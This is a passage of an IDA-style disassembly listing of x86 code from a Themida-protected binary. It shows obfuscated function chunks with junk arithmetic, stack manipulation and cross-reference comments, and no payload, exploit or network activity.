		jmp	loc_55AED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558ECD:				; CODE XREF: sub_55ABF6+1DFj
		mov	esi, [esp+0]
		add	esp, 4
		dec	esi
		add	esi, 3E827697h
		jmp	loc_5516D6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558EDF:				; CODE XREF: Themida_:0055A660j
		push	eax
		jmp	loc_55BCAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_558EE5:				; CODE XREF: sub_55BB30-95ADj
		inc	esi
		add	esi, 7611C9BDh
		sub	eax, 61AF6903h
		sub	eax, esi
		add	eax, 61AF6903h
		pop	esi
		add	eax, 28E7598Bh
		jmp	loc_556215
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_558F03:				; CODE XREF: sub_55163B+74B1j
		mov	[esp+10h+var_10], ebx
		pop	edx
		push	[esp+0Ch+var_C]
		pop	ebx
		jmp	sub_551EE6
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_558F10:				; CODE XREF: sub_552215+9139j
		and	eax, esi
		jmp	loc_555EF1
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_558F17:				; CODE XREF: Themida_:0055D7A8j
		shl	edi, 7
		sub	edi, 886683FCh
		jmp	loc_555ACB
; ---------------------------------------------------------------------------


loc_558F25:				; CODE XREF: Themida_:00553F47j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_551893
; ---------------------------------------------------------------------------


loc_558F32:				; CODE XREF: Themida_:0055675Bj
		push	ecx
		mov	ecx, 46B00717h
		push	ecx
		pop	ebp
		jmp	loc_553BA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_558F3F:				; CODE XREF: sub_552850+5FFFj
		add	edi, 4
		push	esi
		mov	esi, 0A0B14D8h
		shl	esi, 8
		jmp	loc_55BD13
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_558F53:				; CODE XREF: sub_55C814-750Cj
		pop	edi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], edi
		push	esi
		jmp	loc_551F21
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_558F63:				; CODE XREF: Themida_:00559092j
		xor	ecx, [esp]
		jmp	loc_559A29
; ---------------------------------------------------------------------------


loc_558F6B:				; CODE XREF: Themida_:0055BCE3j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 45h
		push	ax
		mov	al, 0EAh
		jmp	loc_5539D4
; ---------------------------------------------------------------------------


loc_558F83:				; CODE XREF: Themida_:00558089j
		xchg	edx, [esp]
		mov	esp, [esp]
		mul	cl
		jmp	loc_55C91D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_558F90:				; CODE XREF: sub_554592+1j
		push	1CE8h
		jmp	loc_553A61
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5586A8


loc_558F9A:				; CODE XREF: sub_5586A8+247Fj
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], edx
		sub	esp, 4
		jmp	loc_556C78
; END OF FUNCTION CHUNK	FOR sub_5586A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558FB3:				; CODE XREF: sub_55ABF6-2013j
		mov	[esp+0], ecx
		jmp	sub_559249
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_558FBB:				; CODE XREF: Themida_:00556BEEj
		and	edx, eax
		mov	eax, [esp]
		jmp	loc_55C943
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_558FC5:				; CODE XREF: sub_55ABF6-4BD0j
		add	[esp-6+arg_0+2], 4
		jmp	loc_557DF6
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_558FCE	proc near		; DATA XREF: Themida_:005512E0o
		mov	ax, [esp+0]
		jmp	sub_556EE1
sub_558FCE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_558FD7:				; CODE XREF: sub_55AE3A+2C86j
		pop	ebx
		xor	dh, bl
		pop	ebx
		jmp	loc_555A69
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_558FE0:				; CODE XREF: sub_55910B-2FAAj
		xor	cl, 4Ah
		inc	cl
		dec	cl
		or	cl, 0ECh
		sub	cl, 40h
		xor	bl, cl
		pop	ecx
		push	ecx
		mov	cl, 85h
		jmp	loc_553C4E
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B585


loc_558FF8:				; CODE XREF: sub_55B585-81E1j
		mov	[esp+8+var_8], ecx
		mov	ch, 0B9h
		shl	ch, 2
		jmp	loc_55AD77
; END OF FUNCTION CHUNK	FOR sub_55B585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_559005:				; CODE XREF: sub_5594EA-18Aj
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_5558F7
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B43


loc_559013:				; CODE XREF: sub_555B43+5j
		mov	ecx, esp
		add	ecx, 4
		push	61A9h
		mov	[esp+8+var_8], eax
		push	2
		pop	eax
		add	ecx, 50C64382h
		add	ecx, eax
		sub	ecx, 50C64382h
		push	[esp+8+var_8]
		pop	eax
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4FDE02F0h
		add	edx, 0B021FD14h
		add	edi, edx
		jmp	loc_55370E
; END OF FUNCTION CHUNK	FOR sub_555B43
; ---------------------------------------------------------------------------


loc_559051:				; CODE XREF: Themida_:00554449j
		pop	esi
		jmp	loc_559EE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559057:				; CODE XREF: sub_55ABF6+2674j
		mov	eax, esi
		pop	esi
		push	ecx
		jmp	loc_55B799
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_559060:				; CODE XREF: sub_55314C+4250j
		xor	ecx, edx
		jmp	loc_55D5AD
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559067:				; CODE XREF: sub_55ABF6+2E80j
		mov	edi, ebx
		pop	ebx
		push	0A466C2h
		pop	esi
		jmp	loc_55BDA2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_559075:				; CODE XREF: Themida_:0055C7D5j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_558F63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_559097:				; CODE XREF: sub_55314C+5742j
		shr	ecx, 0Bh
		push	45B7h
		mov	[esp+4+var_4], edi
		jmp	loc_552C5B
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_5590A7:				; CODE XREF: sub_557D5E-617Bj
		shl	edi, 7
		jmp	loc_559F3C
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------


loc_5590AF:				; CODE XREF: Themida_:0055C6E0j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	4E9Bh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_553C0E
; ---------------------------------------------------------------------------


loc_5590D8:				; CODE XREF: Themida_:0055BDCDj
		inc	esi
		or	esi, 49431188h
		shr	esi, 4
		sub	esi, 0F249651Fh
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_555BD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5590F2:				; CODE XREF: sub_55C814-530Ej
		push	edx
		mov	edx, 136411FFh
		sub	eax, edx
		jmp	loc_5544AE
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_5590FF:				; CODE XREF: Themida_:0055B0C9j
		mov	[esp], edx
		sub	esp, 4
		push	esp
		jmp	loc_5515FC

; =============== S U B	R O U T	I N E =======================================



sub_55910B	proc near		; CODE XREF: sub_55ABF6-14E9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551B57 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552103 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005526D8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00552804 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005531B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005533A9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553927 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553C4E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055437E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00554FB0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005552FD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00555372 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556158 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005562B9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00556392 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556A10 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005576E0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00558250 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558272 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00558FE0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005594F2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A76A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B37A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B3FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055BA27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BB02 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055D26F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055DCD4 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_558272
sub_55910B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559111:				; CODE XREF: sub_55ABF6+37j
		push	esi
		mov	esi, 1428748Eh
		or	esi, 7E7C733Bh
		and	esi, 784F7543h
		push	eax
		mov	eax, 213915A5h
		push	edx
		mov	edx, 6876621Eh
		shl	edx, 6
		not	edx
		inc	edx
		jmp	loc_5519E7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55913A:				; CODE XREF: Themida_:00557875j
		mov	ch, 30h
		sub	al, ch
		pop	cx
		add	al, bl
		push	869h
		mov	[esp], edx
		push	ecx
		mov	cl, 7Ch
		add	cl, 0B4h
		jmp	loc_55D67F
; ---------------------------------------------------------------------------


loc_559155:				; CODE XREF: Themida_:0055AE25j
		add	eax, edi
		jmp	loc_5543D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55915C:				; CODE XREF: sub_554592-22B0j
		push	ecx
		mov	ecx, 19B13BE1h
		jmp	loc_556340
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_559167:				; CODE XREF: Themida_:00559C1Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55159F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551EE6


loc_559177:				; CODE XREF: sub_551EE6+3AE4j
		push	dword ptr [esp+0]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	edx, eax
		shl	edx, 1
		push	3146h
		jmp	loc_55AD65
; END OF FUNCTION CHUNK	FOR sub_551EE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55919E:				; CODE XREF: sub_55A0D6-3C6Bj
		pop	edx
		add	esi, 63472736h
		jmp	loc_551EEE
; ---------------------------------------------------------------------------


loc_5591AA:				; CODE XREF: sub_55A0D6-6266j
		or	edi, 54003E36h
		xor	edi, 5CCE7F32h
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_55434E
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_5591C1:				; CODE XREF: Themida_:005588D8j
		not	dl
		add	dl, 57h
		jmp	loc_55426A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5591CB:				; CODE XREF: sub_554E9D+80A9j
		pop	ebx
		add	eax, 1119073Eh
		sub	eax, ebp
		push	ebp
		mov	ebp, 1119073Eh
		jmp	loc_55CDE1
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5591DE:				; CODE XREF: sub_55CE17+6BDj
		add	ecx, eax
		jmp	loc_55AA9A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5591E5:				; CODE XREF: sub_55314C+2DCFj
		add	edi, esi
		pop	esi
		add	edi, 7F39DA3h
		shr	edi, 2
		push	ecx
		mov	ecx, 57DE14A8h
		shr	ecx, 4
		xor	ecx, 37B67A54h
		push	edx
		mov	edx, 475F31A2h
		jmp	loc_557381
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_55920B:				; CODE XREF: Themida_:00556754j
		pop	ebp
		jmp	loc_55408B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559211:				; CODE XREF: sub_55ABF6-220Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_5543A2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55591C


loc_559226:				; CODE XREF: sub_55591C+1j
		mov	ebx, 46FD4B3Dh
		sub	ebx, 6FE181E2h
		sub	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		jmp	loc_551E1A
; END OF FUNCTION CHUNK	FOR sub_55591C
; ---------------------------------------------------------------------------


loc_55923C:				; CODE XREF: Themida_:005594B3j
		push	edx
		mov	dl, 1Dh
		xor	al, dl
		mov	edx, [esp]
		jmp	loc_557790

; =============== S U B	R O U T	I N E =======================================



sub_559249	proc near		; CODE XREF: sub_55ABF6-1C40j

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551A25 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00551BF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551CB9 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005521C9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00552A35 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552A5A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00552D55 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552F06 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00553356 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055343A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005535F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005539FF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553A8A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00553B78 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553C65 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00553D95 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00554492 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005546AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554824 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00554AE7 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00554EA9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055519E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00555331 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005554B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005555C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005555DE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005556E6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00555866 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555983 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00555E28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055604C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005560CC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055621C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005566CD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00556D94 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556E66 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00557101 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005576AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00557CB1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00557E1C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557E30 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00557E60 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00558168 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00558268 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055835B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00558640 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005586B6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055883D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558CD1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00559434 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055962A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005597DE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559DDF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055A5CD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A630 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055AF71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055AFE8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055B138 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B7BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BAED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BC63 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BCFF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055BD4B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C037 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055C083 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C156 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C879 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CA4A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055D5D8 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055D652 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055DAA5 SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		jmp	loc_559434
sub_559249	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55926A:				; CODE XREF: sub_55C58B-B95j
		add	esp, 2
		jmp	loc_553DFF
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_559275:				; CODE XREF: Themida_:0055B175j
		mov	esi, 4
		push	ebp
		mov	ebp, 3DC76A86h
		neg	ebp
		add	ebp, 0C9E565Bh
		add	ebp, 6E2246E9h
		jmp	loc_557063
; ---------------------------------------------------------------------------


loc_559293:				; CODE XREF: Themida_:00556153j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_551D5C
; ---------------------------------------------------------------------------


loc_55929E:				; CODE XREF: Themida_:0055B1DAj
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	0C37h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_5554F1
; ---------------------------------------------------------------------------


loc_5592DC:				; CODE XREF: Themida_:0055C697j
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5592E1:				; CODE XREF: sub_55CE17-6262j
		pop	ebx
		shr	ecx, 7
		push	edi
		jmp	loc_55B951
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5592EB:				; CODE XREF: sub_55C814-12C1j
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_55CF4B
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_5592F9:				; CODE XREF: Themida_:0055C874j
		mov	[esp], ecx
		jmp	loc_558BE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_559301:				; CODE XREF: sub_55C814+1135j
		inc	ecx
		and	ecx, 55BC11BDh
		sub	ecx, 54B00100h
		push	580Fh
		mov	[esp+8+var_8], ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		mov	ecx, [esp+4+var_4]
		jmp	loc_559617
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B2E


loc_559323:				; CODE XREF: sub_551B2E+B3B4j
		add	ecx, 42432D41h
		push	ebp
		mov	ebp, 5D6A238Ah
		sub	ecx, ebp
		pop	ebp
		add	ecx, edi
		add	ecx, 5D6A238Ah
		jmp	loc_556E32
; END OF FUNCTION CHUNK	FOR sub_551B2E
; ---------------------------------------------------------------------------


loc_55933F:				; CODE XREF: Themida_:00559AB5j
		movzx	eax, al
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 18E85971h
		jmp	loc_55B6AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_559354:				; CODE XREF: sub_5594EA+383Bj
		add	ebp, 4
		push	edi
		mov	edi, 2
		jmp	loc_559005
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_559365:				; CODE XREF: sub_55C814-6A39j
		xchg	edi, [esp+4+var_4]
		jmp	loc_55BD77
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_55936D:				; CODE XREF: sub_55AABB+14F2j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55890A


loc_559372:				; CODE XREF: sub_55890A-14F7j
		add	eax, 4
		jmp	loc_5560FD
; END OF FUNCTION CHUNK	FOR sub_55890A
; ---------------------------------------------------------------------------


loc_55937A:				; CODE XREF: Themida_:005561D5j
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 3A1A3128h
		xor	edi, 52FE422Dh
		jmp	loc_55A976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55591C


loc_55939D:				; CODE XREF: sub_55591C-3AFAj
		mov	ebx, [esp+0]
		add	esp, 4
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		jmp	loc_552576
; END OF FUNCTION CHUNK	FOR sub_55591C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5593AE:				; CODE XREF: sub_55CE17-64BBj
		push	edx
		jmp	loc_556894
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_5593B4:				; CODE XREF: Themida_:005519A1j
		pop	ecx
		sub	al, bh
		pop	ebx
		sub	bl, 63h
		push	ecx
		mov	ch, 8Ah
		sub	ch, 9Dh
		add	bl, ch
		pop	ecx
		sub	bl, 0FAh
		add	bl, al
		push	5905h
		mov	[esp], eax
		jmp	loc_5594AF
; ---------------------------------------------------------------------------


loc_5593D6:				; CODE XREF: Themida_:00553BEEj
		add	esi, 4
		jmp	loc_55D588
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5593E1:				; CODE XREF: sub_55ABF6+CCAj
		and	edx, 4BF81D2Ah
		xor	edx, 2B283EE1h
		jmp	loc_5529E7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5593F2:				; CODE XREF: Themida_:005518B6j
		push	ecx
		push	esi
		mov	esi, 34F393Dh
		jmp	loc_552FDA
; ---------------------------------------------------------------------------


loc_5593FE:				; CODE XREF: Themida_:0055D6F0j
		add	edx, 146A6F26h
		add	edx, ebp
		sub	edx, 146A6F26h
		add	edx, 0FAD7820h
		jmp	loc_55368B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_559417:				; CODE XREF: sub_55611A+2B8j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_55CDE9
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_559434:				; CODE XREF: sub_559249+1Cj
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		add	ecx, 6F577970h
		add	ecx, ebx
		jmp	loc_551CB9
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_559449:				; CODE XREF: sub_5545BE+34Cj
		add	edi, 4
		jmp	loc_5543E6
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_559454:				; CODE XREF: sub_55ABF6-5153j
		pop	edx
		push	ebx
		jmp	loc_55B353
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D32


loc_55945B:				; CODE XREF: sub_557D32+Aj
		pop	ebx
		push	edi
		jmp	sub_553284
; END OF FUNCTION CHUNK	FOR sub_557D32
; ---------------------------------------------------------------------------
		push	385Fh
		jmp	loc_55C595
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55946C:				; CODE XREF: sub_55ABF6-31CAj
		pop	ecx
		add	esp, 4
		push	ecx
		push	eax
		mov	ah, 47h
		mov	ch, 0A1h
		xor	ch, ah
		pop	eax
		push	eax
		jmp	loc_559A82
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55947F:				; CODE XREF: sub_55D40D-BD9Ej
		inc	eax
		dec	eax
		add	eax, 0E7879A9Eh
		jmp	loc_559FEE
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55948B:				; CODE XREF: sub_55ABF6+11E7j
		mov	bh, 71h
		and	bh, 0F2h
		add	bh, 67h
		mov	al, bh
		jmp	loc_555573
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_55949A:				; CODE XREF: sub_55B62C-8966j
		or	ecx, 3C476834h
		not	ecx
		inc	ecx
		inc	ecx
		xor	ecx, 5577251Bh
